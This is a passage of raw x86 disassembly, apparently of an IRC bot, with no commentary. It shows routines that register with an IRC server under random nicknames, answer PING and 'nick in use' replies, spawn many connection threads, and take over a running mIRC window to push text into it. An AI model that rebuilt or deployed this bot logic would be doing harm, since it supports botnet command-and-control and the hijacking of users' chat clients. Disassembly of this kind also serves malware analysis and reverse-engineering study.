loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387EC
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387DC

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4044[esi]
		mov	dword_4D4038[esi], edi
		push	dword_4D4244[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D403C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFF4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFBC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D403C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4038[esi], ebx
		mov	esi, dword_4D403C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB03C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4038

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA758
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4044[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4244[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4038[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437F28[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437C28[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437F28[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2670D55h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27B0000h
		nop
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA75C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF74
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF94
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		call	near ptr 27C05CCh
		nop
		push	esi
		mov	edi, eax
		call	near ptr 27C0000h
		nop
		call	dword_4CAFF8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAFB0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27D0000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 27C0CF9h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB000
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB000
		push	ebx
		call	near ptr 27C0A96h
		nop
		push	edi
		call	near ptr 2650939h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

